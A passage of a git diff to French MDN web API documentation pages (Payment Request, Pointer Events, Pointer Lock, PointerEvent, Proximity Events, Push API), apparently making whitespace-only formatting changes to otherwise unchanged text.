intervention des développeurs. Un navigateur pourrait aussi adapter la taille de la fonte ou le contraste de couleur de la page de paiement, pour la rendre plus agréable d'utilisation. -- **La gestion des indentificants** : les utilisateurs peuvent gérer leurs cartes de crédit ou leurs adresses de livraison directement dans le navigateur. Un navigateur peut aussi synchroniser ces identifiants avec d'autres appareils, permettant ainsi au utilisateurs d'aller d'un appareil à l'autre lorsqu'ils font leurs achats. -- **Une gestion des erreurs cohérente :** le navigateur peut vérifier la validité des numéros de carte et peut indiquer si la carte de l'utilisateur a expiré ou est sur le point de l'être. Le navigateur peut automatiquement suggérer quelle carte utiliser sur la base des utilisations précédentes ou les restrictions du marchant (par exemple : "Nous n'acceptions que les cartes Visa et Mastercard"), ou encore permettre à l'utilisateur d'indiquer quelle est leur carte par défault. +- **Une expérience d'achat rapide** : les utilisateurs renseignent leurs informations une fois dans le navigateur et sont alors prêts pour payer des biens et services en ligne. Ils n'ont plus besoin de renseigner les mêmes informations à chaque fois sur différents sites. +- **Une expérience cohérente sur chaque site qui fonctionne avec l'API :** dans la mesure où l'affichage des informations de paiement est contrôlé par le navigateur, celui-ci peut adapter l'expérience de l'utilisateur. Ceci peut impliquer d'afficher l'interface utilisateur dans le langage favori de l'utilisateur. +- **L'accessibilité** : dans la mesure où le navigateur contrôle les éléments à renseigner concernant le paiment, il peut garantir une accessibilité du clavier et de l'écran sur chaque site sans intervention des développeurs. Un navigateur pourrait aussi adapter la taille de la fonte ou le contraste de couleur de la page de paiement, pour la rendre plus agréable d'utilisation. +- **La gestion des indentificants** : les utilisateurs peuvent gérer leurs cartes de crédit ou leurs adresses de livraison directement dans le navigateur. Un navigateur peut aussi synchroniser ces identifiants avec d'autres appareils, permettant ainsi au utilisateurs d'aller d'un appareil à l'autre lorsqu'ils font leurs achats. +- **Une gestion des erreurs cohérente :** le navigateur peut vérifier la validité des numéros de carte et peut indiquer si la carte de l'utilisateur a expiré ou est sur le point de l'être. Le navigateur peut automatiquement suggérer quelle carte utiliser sur la base des utilisations précédentes ou les restrictions du marchant (par exemple : "Nous n'acceptions que les cartes Visa et Mastercard"), ou encore permettre à l'utilisateur d'indiquer quelle est leur carte par défault. -Pour demander un paiement, une page web crée un {{domxref("PaymentRequest")}} objet en réponse à une action de l'utilisateur qui initie un paiement, comme cliquer sur un bouton "Achat". Le `PaymentRequest` permet à la page web d'interagir avec l'utilisateur prendant qu'il donne les information pour terminer la transaction. +Pour demander un paiement, une page web crée un {{domxref("PaymentRequest")}} objet en réponse à une action de l'utilisateur qui initie un paiement, comme cliquer sur un bouton "Achat". Le `PaymentRequest` permet à la page web d'interagir avec l'utilisateur prendant qu'il donne les information pour terminer la transaction. -Vous pouvez trouver un guide complet dans l'article [Using the Payment Request API](/en-US/docs/Web/API/Payment_Request_API/Using_the_Payment_Request_API). +Vous pouvez trouver un guide complet dans l'article [Using the Payment Request API](/en-US/docs/Web/API/Payment_Request_API/Using_the_Payment_Request_API). -> **Note :** L'API est disponible à l'intérieur des éléments cross-origin {{htmlelement("iframe")}} seulement si on leur a affecté l'attribut {{htmlattrxref("allowpaymentrequest","iframe")}}. +> **Note :** L'API est disponible à l'intérieur des éléments cross-origin {{htmlelement("iframe")}} seulement si on leur a affecté l'attribut {{htmlattrxref("allowpaymentrequest","iframe")}}. ## Interfaces - {{domxref('PaymentAddress')}} - - : Un objet qui contient l'information "adresse". Utilisé par exemple pour les adresses de facturation et d'expédition. + - : Un objet qui contient l'information "adresse". Utilisé par exemple pour les adresses de facturation et d'expédition. - {{domxref('PaymentRequest')}} - - : Un objet qui fournit l'API pour créer et gérer l'interface de paiement de {{Glossary("user agent", "l'agent utilisateur")}}. + - : Un objet qui fournit l'API pour créer et gérer l'interface de paiement de {{Glossary("user agent", "l'agent utilisateur")}}. - {{domxref('PaymentRequestEvent')}} - - : Un événement fourni au gestionnaire de paiement lorsque un {{domxref("PaymentRequest")}} est fait. + - : Un événement fourni au gestionnaire de paiement lorsque un {{domxref("PaymentRequest")}} est fait. - {{domxref('PaymentRequestUpdateEvent')}} - : Permet à la page web de mettre à jour les détails de la requête de paiement en réponse à une action de l'utilisateur. - {{domxref('PaymentMethodChangeEvent')}} - - : Représente une modification du moyen de paiement effectuée par l'utilisateur (par exemple, remplacer une carte de crédit par une autre ou par un autre moyen de paiement en ligne). + - : Représente une modification du moyen de paiement effectuée par l'utilisateur (par exemple, remplacer une carte de crédit par une autre ou par un autre moyen de paiement en ligne). - {{domxref('PaymentResponse')}} - : Un objet renvoyé après que l'utilisateur ait sélectionné un moyen de paiement et approuvé une demande de paiement. - {{domxref('MerchantValidationEvent')}} - - : Correspond à la demande effectuée par le navigateur vers le site marchand afin de valider le fait qu'il a la possibilité/permission d'utiliser un gestionnaire de paiement spécifique (par exemple, enregistré/validé pour utiliser Apple Pay). + - : Correspond à la demande effectuée par le navigateur vers le site marchand afin de valider le fait qu'il a la possibilité/permission d'utiliser un gestionnaire de paiement spécifique (par exemple, enregistré/validé pour utiliser Apple Pay). <!----> ## Dictionnaires - {{domxref("AddressErrors")}} - - : Un dictionnaire contenant des chaînes de caractère qui fournissent des explications concernant toutes les erreurs dans toutes les entrées {{domxref("PaymentAddress")}} qui contiennent des erreurs. + - : Un dictionnaire contenant des chaînes de caractère qui fournissent des explications concernant toutes les erreurs dans toutes les entrées {{domxref("PaymentAddress")}} qui contiennent des erreurs. - {{domxref("PayerErrors")}} - - : Un dictionnaire contenant des chaînes de caractère qui fournissent des explications concernant toutes les erreurs en relations avec les attributs email, téléphone et nom de {{domxref("PaymentResponse")}}. + - : Un dictionnaire contenant des chaînes de caractère qui fournissent des explications concernant toutes les erreurs en relations avec les attributs email, téléphone et nom de {{domxref("PaymentResponse")}}. - {{domxref("PaymentDetailsUpdate")}} - - : Un objet qui décrit les changements qui doivent être apportés aux détails du paiement dans l'événement dont le serveur à besoin pour mettre à jour l'information à la suite de l'instanciation de l'interface de paiment mais avant que l'utilisateur ne commence à interagir avec. + - : Un objet qui décrit les changements qui doivent être apportés aux détails du paiement dans l'événement dont le serveur à besoin pour mettre à jour l'information à la suite de l'instanciation de l'interface de paiment mais avant que l'utilisateur ne commence à interagir avec. -### Dictionnaires connexes pour la specification *Basic Card* +### Dictionnaires connexes pour la specification *Basic Card* - {{domxref("BasicCardChangeDetails")}} - - : Un objet qui donne l'information "_redacted_ address" qui est fournie comme {{domxref("PaymentMethodChangeEvent.methodDetails", "methodDetails")}} dans l'événement {{event("paymentmethodchange")}} envoyé à {{domxref("PaymentRequest")}} lorsque l'utilisateur modifie les informations de paiement. + - : Un objet qui donne l'information "_redacted_ address" qui est fournie comme {{domxref("PaymentMethodChangeEvent.methodDetails", "methodDetails")}} dans l'événement {{event("paymentmethodchange")}} envoyé à {{domxref("PaymentRequest")}} lorsque l'utilisateur modifie les informations de paiement. - {{domxref("BasicCardErrors")}} - - : Un message qui fournit tous les messages d'erreur associés avec les champs qui ne sont pas valides dans l'objet {{domxref("BasicCardResponse")}}. Il est utilisé comme valeur de la propriété {{domxref("PaymentValidationErrors.paymentMethod", "paymentMethod")}} dans l'objet {{domxref("PaymentValidationErrors")}} envoyé au {{domxref("PaymentRequest")}} lorsqu'une erreur se produit. + - : Un message qui fournit tous les messages d'erreur associés avec les champs qui ne sont pas valides dans l'objet {{domxref("BasicCardResponse")}}. Il est utilisé comme valeur de la propriété {{domxref("PaymentValidationErrors.paymentMethod", "paymentMethod")}} dans l'objet {{domxref("PaymentValidationErrors")}} envoyé au {{domxref("PaymentRequest")}} lorsqu'une erreur se produit. - {{domxref('BasicCardRequest')}} - : Définit une structure d'objet pour contenir les détails d'une requête de paiement, par exemple le type de carte de paiement. - {{domxref('BasicCardResponse')}} - - : Définit une structure d'objet pour les détails de la réponse de paiement tels que le numéro ou la date d'expiration d'une carte utilisée pour faire le paiement, et l'adresse de facturation. + - : Définit une structure d'objet pour les détails de la réponse de paiement tels que le numéro ou la date d'expiration d'une carte utilisée pour faire le paiement, et l'adresse de facturation. ## Spécifications diff --git a/files/fr/web/api/periodicwave/index.md b/files/fr/web/api/periodicwave/index.md index 2cefdb109d..d49ab08b7a 100644 --- a/files/fr/web/api/periodicwave/index.md +++ b/files/fr/web/api/periodicwave/index.md @@ -15,14 +15,14 @@ translation_of: Web/API/PeriodicWave --- {{ APIRef("Web Audio API") }} -L'objet **`PeriodicWave`** permet de définir une forme d'onde personnalisée, pouvant être utilisée comme sortie d'un {{domxref("OscillatorNode")}}. +L'objet **`PeriodicWave`** permet de définir une forme d'onde personnalisée, pouvant être utilisée comme sortie d'un {{domxref("OscillatorNode")}}. -`PeriodicWave` n'a ni entrée ni sortie ; elle doit être créée avec {{domxref("AudioContext.createPeriodicWave()")}} et être assignée à un OscillatorNode avec {{domxref("OscillatorNode.setPeriodicWave()")}}. +`PeriodicWave` n'a ni entrée ni sortie ; elle doit être créée avec {{domxref("AudioContext.createPeriodicWave()")}} et être assignée à un OscillatorNode avec {{domxref("OscillatorNode.setPeriodicWave()")}}. ## Constructeur - {{domxref("PeriodicWave.PeriodicWave()")}} - - : Crée une `PeriodicWave` (onde périodique) avec toutes les valeurs optionelles mises par défaut. Pour établir des valeurs personnalisées, il faut utiliser le constructeur {{domxref("AudioContext.createPeriodicWave()")}}. + - : Crée une `PeriodicWave` (onde périodique) avec toutes les valeurs optionelles mises par défaut. Pour établir des valeurs personnalisées, il faut utiliser le constructeur {{domxref("AudioContext.createPeriodicWave()")}}. ## Propriétés diff --git a/files/fr/web/api/plugin/index.md b/files/fr/web/api/plugin/index.md index 0e892cd5fb..d18c059ce8 100644 --- a/files/fr/web/api/plugin/index.md +++ b/files/fr/web/api/plugin/index.md @@ -12,9 +12,9 @@ translation_of: Web/API/Plugin --- {{ApiRef("HTML DOM")}} -L'interface `Plugin` fournit des informations à propos d'un [plugin](/en-US/docs/Mozilla/Add-ons/Plugins) du navigateur. +L'interface `Plugin` fournit des informations à propos d'un [plugin](/en-US/docs/Mozilla/Add-ons/Plugins) du navigateur. -> **Note :** Les propriétés propres des objets `Plugin` ne sont plus énumérables dans les dernières versions des navigateurs. +> **Note :** Les propriétés propres des objets `Plugin` ne sont plus énumérables dans les dernières versions des navigateurs. ## Propriétés @@ -22,15 +22,15 @@ L'interface `Plugin` fournit des informations à propos d'un [plugin](/en-US/ - : Une description lisible du plugin. - {{domxref("Plugin.filename")}} {{readonlyinline}} - : Le nom de fichier du fichier plugin. -- {{domxref("Plugin.name")}} {{readonlyinline}} +- {{domxref("Plugin.name")}} {{readonlyinline}} - : Le nom du plugin. -- {{domxref("Plugin.version")}} {{readonlyinline}} +- {{domxref("Plugin.version")}} {{readonlyinline}} - : Le numéro de version du plugin, en chaîne de caractères. ## Méthodes - {{domxref("Plugin.item")}} - - : Renvoie le type MIME d'un type de contenu pris en charge, en fonction de l'index dans une liste de types pris en charge. + - : Renvoie le type MIME d'un type de contenu pris en charge, en fonction de l'index dans une liste de types pris en charge. - {{domxref("Plugin.namedItem")}} - : Renvoie le type MIME d'un élément pris en charge. diff --git a/files/fr/web/api/pointer_events/index.md b/files/fr/web/api/pointer_events/index.md index 2e2d206b70..b3ce13352e 100644 --- a/files/fr/web/api/pointer_events/index.md +++ b/files/fr/web/api/pointer_events/index.md @@ -16,7 +16,7 @@ Les événements de pointeur sont des événements DOM déclenché pour tout pé Avoir un seul modèle pour gérer les événements de pointeur peut simplifier la création de sites web et applications et fournir une bonne expérience utilisateur quelque soit le matériel de l'utilisateur. Toutefois, pour les scénarios dans lesquels une gestion spécifique au périphérique est souhaitée, les événements de pointeur définissent une propriété {{domxref("PointerEvent.pointerType","pointerType")}} qui permet de connaître le type de périphérique ayant déclenché l'événement. -Les événements nécessaires pour gérer les entrées de pointeur génériques sont analogues aux {{domxref("MouseEvent","événements de souris")}}. Par conséquent, les types d'événement de pointeur sont intentionnelement similaires aux événements de souris (`mousedown/pointerdown`, `mousemove/pointermove`, etc). De plus, les événements de pointeur contiennent les propriétés usuelles présentes dans les événements de souris (coordonnées client, élément cible, états des boutons, etc.) ainsi que de nouvelles propriétés pour les autres types d'entrée: pression, géométrie de contact, inclinaison, etc. En fait, l'interface {{domxref("PointerEvent")}} hérite toutes les propriétés de {{domxref("MouseEvent","MouseEvent")}} ce qui facilite la migration des événements souris aux événements de pointeur. +Les événements nécessaires pour gérer les entrées de pointeur génériques sont analogues aux {{domxref("MouseEvent","événements de souris")}}. Par conséquent, les types d'événement de pointeur sont intentionnelement similaires aux événements de souris (`mousedown/pointerdown`, `mousemove/pointermove`, etc). De plus, les événements de pointeur contiennent les propriétés usuelles présentes dans les événements de souris (coordonnées client, élément cible, états des boutons, etc.) ainsi que de nouvelles propriétés pour les autres types d'entrée: pression, géométrie de contact, inclinaison, etc. En fait, l'interface {{domxref("PointerEvent")}} hérite toutes les propriétés de {{domxref("MouseEvent","MouseEvent")}} ce qui facilite la migration des événements souris aux événements de pointeur. ## Terminologie @@ -44,7 +44,7 @@ L'interface {{domxref("PointerEvent")}} hérite de l'interface {{domxref("MouseE - {{ domxref('PointerEvent.pointerId','pointerId')}} - un identifiant unique pour le pointeur ayant déclenché l'événement. - {{ domxref('PointerEvent.width','width')}} - la largeur (ordre de grandeur sur l'axe X), en pixels CSS, du point de contact. - {{ domxref('PointerEvent.height','height')}} - la hauteur (ordre de grandeur sur l'axe Y), en pixels CSS, du point de contact. -- {{ domxref('PointerEvent.pressure','pressure')}} - la pression du pointeur normalisée sur une échelle entre 0 et 1, où 0 et 1 représentent respectivement la pression minimale et le maximale que l'appareil est capable de détecter. +- {{ domxref('PointerEvent.pressure','pressure')}} - la pression du pointeur normalisée sur une échelle entre 0 et 1, où 0 et 1 représentent respectivement la pression minimale et le maximale que l'appareil est capable de détecter. - {{ domxref('PointerEvent.tiltX','tiltX')}} - l'angle du plan (en degrés, sur une échelle de -90 à 90) entre le plan Y-Z et le plan qui contient l'axe du stylo et l'axe Y. - {{ domxref('PointerEvent.tiltY','tiltY')}} - l'angle du plan (en degrés, sur une échelle de -90 à 90) entre le plan X-Z et le plan qui contient l'axe du stylo et l'axe X. - {{ domxref('PointerEvent.pointerType','pointerType')}} - indique le type d'appareil ayant déclenché l'événement (souris, stylet, toucher, etc.) @@ -52,7 +52,7 @@ L'interface {{domxref("PointerEvent")}} hérite de l'interface {{domxref("MouseE ### Types d'événements et gestionnaires d'événements globaux -Il existe dix types d'événement de pointeur, dont sept qui ont la même sémantique que les événements souris (`down, up, move, over, out, enter, leave`). Vous trouverez ci-dessous une courte description de chaque type d'événement et son {{domxref("GlobalEventHandlers","gestionnaire d'événement global")}} associé. +Il existe dix types d'événement de pointeur, dont sept qui ont la même sémantique que les événements souris (`down, up, move, over, out, enter, leave`). Vous trouverez ci-dessous une courte description de chaque type d'événement et son {{domxref("GlobalEventHandlers","gestionnaire d'événement global")}} associé. | Event | On Event Handler | Description | | ---------------------------------------- | -------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | diff --git a/files/fr/web/api/pointer_events/pinch_zoom_gestures/index.md b/files/fr/web/api/pointer_events/pinch_zoom_gestures/index.md index 77c78cc8c4..b050d7844c 100644 --- a/files/fr/web/api/pointer_events/pinch_zoom_gestures/index.md +++ b/files/fr/web/api/pointer_events/pinch_zoom_gestures/index.md @@ -18,7 +18,7 @@ Cet exemple montre comment détecter les gestes de _pinch/zoom_ (pincer/zoomer), ## Exemple -Dans cet exemple, on utilise les {{domxref("Pointer_events","événement de pointeur")}} pour détecter simultanément plusieurs appareils de pointage quel qu'en soit le type, comme les doigts, la souris, et le stylet. Le geste de pincer (zoomer), qui consiste à déplacer deux pointeurs plus près l'un vers l'autre, change la couleur d'arrière-plan de l'élément cible en `lightblue`. Le geste d'étirer (dézoomer), qui consiste à déplacer deux pointeur plus loin l'un de l'autre, change la couleur d'arrière-plan de l'élément cible en `pink`. +Dans cet exemple, on utilise les {{domxref("Pointer_events","événement de pointeur")}} pour détecter simultanément plusieurs appareils de pointage quel qu'en soit le type, comme les doigts, la souris, et le stylet. Le geste de pincer (zoomer), qui consiste à déplacer deux pointeurs plus près l'un vers l'autre, change la couleur d'arrière-plan de l'élément cible en `lightblue`. Le geste d'étirer (dézoomer), qui consiste à déplacer deux pointeur plus loin l'un de l'autre, change la couleur d'arrière-plan de l'élément cible en `pink`. ### Définir la cible du toucher diff --git a/files/fr/web/api/pointer_lock_api/index.md b/files/fr/web/api/pointer_lock_api/index.md index ed011ba852..c4fa733725 100644 --- a/files/fr/web/api/pointer_lock_api/index.md +++ b/files/fr/web/api/pointer_lock_api/index.md @@ -13,7 +13,7 @@ original_slug: WebAPI/Pointer_Lock --- {{DefaultAPISidebar("Pointer Lock API")}} -**Pointer lock** (en français _Verrouillage du pointeur_, précedement appelé mouse lock) permet d'obtenir des informations sur le déplacement de la souris à travers le temps, et ne se cantonne pas à fournir la position absolue du curseur sur l'écran. Cette interface donne accès aux données brutes de la souris, permet de verrouiller la cible des évènements à un élément unique, limiter jusqu'où le mouvement de la souris peut aller dans une direction donnée et cacher le curseur de la vue. +**Pointer lock** (en français _Verrouillage du pointeur_, précedement appelé mouse lock) permet d'obtenir des informations sur le déplacement de la souris à travers le temps, et ne se cantonne pas à fournir la position absolue du curseur sur l'écran. Cette interface donne accès aux données brutes de la souris, permet de verrouiller la cible des évènements à un élément unique, limiter jusqu'où le mouvement de la souris peut aller dans une direction donnée et cacher le curseur de la vue. Cette API est utile pour les applications qui ont besoin d'écouter la souris pour contrôler des mouvements ou faire pivoter des objets sur leurs axes. Les jeux 3D de type FPS (First Person Shooter), les outils de modelisation, les vidéos immersives ou encore les cartes satellites sont autant de candidats idéals. L'utilisateur peut en effet changer l'angle de vue en bougeant simplement sa souris et sans cliquer sur aucun bouton ce qui les laisse donc disponibles pour effectuer d'autres actions. @@ -21,9 +21,9 @@ Comme Pointer lock continue de déclencher des évènements même quand le curse ## Concepts de base -Pointer Lock partage des similtudes avec la [capture de souris](/fr/docs/Web/API/Element/setCapture). La capture de souris offre un flot ininterrompu d'évènements sur un élément cible quand la souris glisse mais s'arrête quand le bouton est relaché. Pour cette raison, Pointer lock diffère de la capture de souris sur les points suivants : +Pointer Lock partage des similtudes avec la [capture de souris](/fr/docs/Web/API/Element/setCapture). La capture de souris offre un flot ininterrompu d'évènements sur un élément cible quand la souris glisse mais s'arrête quand le bouton est relaché. Pour cette raison, Pointer lock diffère de la capture de souris sur les points suivants : -- Persistance. Pointer lock ne libère pas la souris tant qu'un appel explicite à l'API n'a pas été effectué ou que l'utilisateur n'a pas fait un mouvement spécifique. +- Persistance. Pointer lock ne libère pas la souris tant qu'un appel explicite à l'API n'a pas été effectué ou que l'utilisateur n'a pas fait un mouvement spécifique. - Ne se limite pas aux bordures du navigateur ou de l'écran. - Continue de déclencher des évènements peu importe l'état des boutons de la souris. - Cache le curseur. @@ -34,7 +34,7 @@ Cette section fournit une brève description de chaque propriété et méthode a ### requestPointerLock() -L'API Pointer lock, de manière similaire à l'[API Fullscreen](/fr/docs/Web/Guide/DOM/Using_full_screen_mode), étend les les éléments DOM en ajoutant une nouvelle méthode, {{domxref("Element.requestPointerLock","requestPointerLock()")}}. Comme le préfixe fournisseur a récemment été retiré, vous devriez utiliser la syntaxe ci-dessous, par exemple pour demander un verrouillage deu pointeur sur un élément `canvas`: +L'API Pointer lock, de manière similaire à l'[API Fullscreen](/fr/docs/Web/Guide/DOM/Using_full_screen_mode), étend les les éléments DOM en ajoutant une nouvelle méthode, {{domxref("Element.requestPointerLock","requestPointerLock()")}}. Comme le préfixe fournisseur a récemment été retiré, vous devriez utiliser la syntaxe ci-dessous, par exemple pour demander un verrouillage deu pointeur sur un élément `canvas`: ```js canvas.requestPointerLock = canvas.requestPointerLock || @@ -46,9 +46,9 @@ canvas.requestPointerLock() ### pointerLockElement et exitPointerLock() -L'API Pointer Lock étend également l'interface {{domxref("Document")}}, ajoutant à la fois une nouvelle propriété et une nouvelle méthode. La propriété {{domxref("Document.pointerLockElement","pointerLockElement")}} est utilisée pour accéder à l'élément actuellement verrouillé (s'il y en a). La méthode {{domxref("Document.exitPointerLock","exitPointerLock()")}} est utilisée pour libérer le verrou du pointeur. +L'API Pointer Lock étend également l'interface {{domxref("Document")}}, ajoutant à la fois une nouvelle propriété et une nouvelle méthode. La propriété {{domxref("Document.pointerLockElement","pointerLockElement")}} est utilisée pour accéder à l'élément actuellement verrouillé (s'il y en a). La méthode {{domxref("Document.exitPointerLock","exitPointerLock()")}} est utilisée pour libérer le verrou du pointeur. -La propriété {{domxref("Document.pointerLockElement","pointerLockElement")}} est utile pour déterminer si un élément est actuellement verrouillé (pour une vérification booléenne par exemple) et également pour obtenir une référence vers l'élément s'il existe. +La propriété {{domxref("Document.pointerLockElement","pointerLockElement")}} est utile pour déterminer si un élément est actuellement verrouillé (pour une vérification booléenne par exemple) et également pour obtenir une référence vers l'élément s'il existe. Voici un exemple d'utilisation de `pointerLockElement`: diff --git a/files/fr/web/api/pointerevent/index.md b/files/fr/web/api/pointerevent/index.md index 06c014d904..3e058ee7e2 100644 --- a/files/fr/web/api/pointerevent/index.md +++ b/files/fr/web/api/pointerevent/index.md @@ -5,11 +5,11 @@ translation_of: Web/API/PointerEvent --- {{ APIRef("Pointer Events") }} -L'interface **`PointerEvent`** représente les données de l'état d'un événément du DOM produit par un pointeur, tels que la géométrie du point de contact, le type d'appareil qui a généré l'événément, l'intensité de pression qui a été appliquée au contact de la surface, etc. +L'interface **`PointerEvent`** représente les données de l'état d'un événément du DOM produit par un pointeur, tels que la géométrie du point de contact, le type d'appareil qui a généré l'événément, l'intensité de pression qui a été appliquée au contact de la surface, etc. -Un *pointeur* est une représentation agnostique de tout appareil de saisie (tels qu'une souris, un stylet, ou un point de contact sur une surface tactile). Le pointeur peut cibler des coordonnées spécifiques (ou une collection de coordonnées) sur la surface de contact telle qu'un écran. +Un *pointeur* est une représentation agnostique de tout appareil de saisie (tels qu'une souris, un stylet, ou un point de contact sur une surface tactile). Le pointeur peut cibler des coordonnées spécifiques (ou une collection de coordonnées) sur la surface de contact telle qu'un écran. -Le *test de ciblage* d'un pointeur est le processus qu'un navigateur utilise pour déterminer l'élément pour un événément de pointeur. Typiquement, cela est déterminé en considérant la position du pointeur ainsi que l'agencement visuel des éléments dans un document sur l'écran. +Le *test de ciblage* d'un pointeur est le processus qu'un navigateur utilise pour déterminer l'élément pour un événément de pointeur. Typiquement, cela est déterminé en considérant la position du pointeur ainsi que l'agencement visuel des éléments dans un document sur l'écran. ## Constructeurs @@ -29,13 +29,13 @@ _Cette interface hérite des proprétés de {{domxref("MouseEvent")}} et {{domxr - {{ domxref('PointerEvent.pressure')}} {{readonlyInline}} - : La pressure normalisée de l'influx du pointeur dans un intervalle compris entre 0 et 1, où 0 et 1 représentent respectivement la pression minimale et maximale que l'appareil est capable de détecter. - {{ domxref('PointerEvent.tangentialPressure')}} {{readonlyInline}} - - : La pression tangentielle normalisée d'un influx de pointeur (également nommée compression ou contrainte cylindrique), où 0 et 1 représentent respectivement la pression minimale et maximale que l'appareil est capable de détecter. + - : La pression tangentielle normalisée d'un influx de pointeur (également nommée compression ou contrainte cylindrique), où 0 et 1 représentent respectivement la pression minimale et maximale que l'appareil est capable de détecter. - {{ domxref('PointerEvent.tiltX')}} {{readonlyInline}} - : Le plan de l'angle (en dégrés, dans un intervalle compris entre -90 et 90) entre le plan Y-Z et le plan contenant à la fois l'axe du transducteur (ex. : un crayon stylet) et l'axe Y. - {{ domxref('PointerEvent.tiltY')}} {{readonlyInline}} - : Le plan de l'angle (en dégrés, dans un intervalle compris entre -90 et 90) entre le plan X-Z et le plan contenant à la fois l'axe du transducteur (ex. : un crayon stylet) et l'axe X. - {{ domxref('PointerEvent.twist')}} {{readonlyInline}} - - : La rotation en degrés et dans le sens des aiguilles d'une montre, d'un transducteur (ex. : crayon stylet) autour de axe principal, avec une valeur comprise dans un intervalle entre 0 et 359. + - : La rotation en degrés et dans le sens des aiguilles d'une montre, d'un transducteur (ex. : crayon stylet) autour de axe principal, avec une valeur comprise dans un intervalle entre 0 et 359. - {{ domxref('PointerEvent.pointerType')}} {{readonlyInline}} - : Indique le type d'appareil qui a provoqué l'événément (souris, stylet, touché, etc.) - {{ domxref('PointerEvent.isPrimary')}} {{readonlyInline}} @@ -44,13 +44,13 @@ _Cette interface hérite des proprétés de {{domxref("MouseEvent")}} et {{domxr ## Methods - {{ domxref('PointerEvent.getCoalescedEvents()')}} {{deprecated_inline}} - - : Retourne une séquence de toutes les instances de `PointerEvent` qui ont été dirigées vers l'événément {{event("pointermove")}} envoyé. + - : Retourne une séquence de toutes les instances de `PointerEvent` qui ont été dirigées vers l'événément {{event("pointermove")}} envoyé. ## Types d'événéments de pointeur -L'interface `PointerEvent` a plusieurs types d'événéments. Pour déterminer quel événément s'est produit, regardez la propriété {{ domxref("Event.type", "type") }} de l'événément. +L'interface `PointerEvent` a plusieurs types d'événéments. Pour déterminer quel événément s'est produit, regardez la propriété {{ domxref("Event.type", "type") }} de l'événément. -> **Note :** Il est important de remarquer que dans beaucoup de cas, à la fois les événéments du pointeur et de la souris sont envoyés (afin de laisser la logique interagir avec l'utilisateur même lorsqu'elle n'est pas spécifique à un type de pointeur) . Si vous utilisez les événéments de pointeur, vous devez exécuter {{ domxref("event.preventDefault()") }} afin d'empêcher l'événément de la souris d'être également envoyée. +> **Note :** Il est important de remarquer que dans beaucoup de cas, à la fois les événéments du pointeur et de la souris sont envoyés (afin de laisser la logique interagir avec l'utilisateur même lorsqu'elle n'est pas spécifique à un type de pointeur) . Si vous utilisez les événéments de pointeur, vous devez exécuter {{ domxref("event.preventDefault()") }} afin d'empêcher l'événément de la souris d'être également envoyée. - {{event('pointerover')}} - : Cet événément est déclenché lorsqu'un appareil de pointage est déplacé vers la zone du test de ciblage d'un élément. @@ -69,7 +69,7 @@ L'interface `PointerEvent` a plusieurs types d'événéments. Pour déterminer - {{event('pointerleave')}} - : Cet événément est déclenché lorsqu'un appareil de pointage est déplacé en dehors de la zone de ciblage d'un élément. Pour les appareils avec un stylet, cet événément est déclenché lorsque le stylet quitte la zone de portée pour être détectée au survol par le numériseur. - {{event('gotpointercapture')}} - - : Cet événément est déclenché lorsqu'un élément est capturé par un pointeur. + - : Cet événément est déclenché lorsqu'un élément est capturé par un pointeur. - {{event('lostpointercapture')}} - : Cet événément est déclenché après qu'un pointeur ait relâché sa capture. diff --git a/files/fr/web/api/proximity_events/index.md b/files/fr/web/api/proximity_events/index.md index d5b2e749e8..1a147524b8 100644 --- a/files/fr/web/api/proximity_events/index.md +++ b/files/fr/web/api/proximity_events/index.md @@ -16,14 +16,14 @@ Les événements de proximité permettent, simplement, de savoir lorsqu'un utili ## Événements de proximité -Lorsque le capteur de l'appareil détecte un changement entre l'appareil et l'objet, il informe le navigateur de ce changement en lui envoyant une notification. Lorsque le navigateur reçoit une notification comme celle-ci, il déclenche un événement {{domxref("DeviceProximityEvent")}} à chaque fois qu'il y a un changement et un événement {{domxref("UserProximityEvent")}} dans le cas où un changement plus brutal se produit. +Lorsque le capteur de l'appareil détecte un changement entre l'appareil et l'objet, il informe le navigateur de ce changement en lui envoyant une notification. Lorsque le navigateur reçoit une notification comme celle-ci, il déclenche un événement {{domxref("DeviceProximityEvent")}} à chaque fois qu'il y a un changement et un événement {{domxref("UserProximityEvent")}} dans le cas où un changement plus brutal se produit. Cet événement peut être capturé en utilisant un objet au niveau `window` en utilisant la méthode {{domxref("EventTarget.addEventListener","addEventListener")}} (en utilisant les noms d'événements {{event("deviceproximity")}} ou {{event("userproximity")}}) ou en attachant un gestionnaire d'événement à la propriété {{domxref("window.ondeviceproximity")}} ou à la propriété {{domxref("window.onuserproximity")}}. Une fois qu'il a été capturé, l'événement donne accès à différentes informations : - L'événement {{domxref("DeviceProximityEvent")}} permet de connaître la distance exacte entre l'appareil et l'objet avec sa propriété {{domxref("DeviceProximityEvent.value","value")}}. Il fournit également la distance la plus courte et la distance la plus grande que l'appareil peut détecter avec les propriétés {{domxref("DeviceProximityEvent.min","min")}} et {{domxref("DeviceProximityEvent.max","max")}}. -- L'événement {{domxref("UserProximityEvent")}} fournit une valeur approximative pour la distance en utilisant un booléen. La propriété {{domxref("UserProximityEvent.near")}} vaut `true` si l'objet est proche ou `false` si l'objet est loin. +- L'événement {{domxref("UserProximityEvent")}} fournit une valeur approximative pour la distance en utilisant un booléen. La propriété {{domxref("UserProximityEvent.near")}} vaut `true` si l'objet est proche ou `false` si l'objet est loin. ## Exemple diff --git a/files/fr/web/api/push_api/index.md b/files/fr/web/api/push_api/index.md index dc7b9d2f2c..ba70b101a8 100644 --- a/files/fr/web/api/push_api/index.md +++ b/files/fr/web/api/push_api/index.md @@ -13,7 +13,7 @@ translation_of: Web/API/Push_API --- {{DefaultAPISidebar("Push API")}}{{SeeCompatTable}} -L' **API Push** donne aux applications web la possibilité de recevoir des messages qui leur sont poussés depuis un serveur, qu'il s'agisse ou non d'une application active au premier plan, ou même actuellement chargée, sur un agent utilisateur. Ceci permet aux développeurs de délivrer des notifications asynchrones et des mises-à-jour aux utilisateurs qui le choisissent, entrainant un meilleur engagement \[de l'utilisateur] avec du nouveau contenu au moment opportun. +L' **API Push** donne aux applications web la possibilité de recevoir des messages qui leur sont poussés depuis un serveur, qu'il s'agisse ou non d'une application active au premier plan, ou même actuellement chargée, sur un agent utilisateur. Ceci permet aux développeurs de délivrer des notifications asynchrones et des mises-à-jour aux utilisateurs qui le choisissent, entrainant un meilleur engagement \[de l'utilisateur] avec du nouveau contenu au moment opportun. > **Note :** Cette documentation couvre les spécifications W3C de l'API Push; si vous recherchez la documentation du système propriétaire de Push de Firefox OS, merci de vous reporter à [Simple 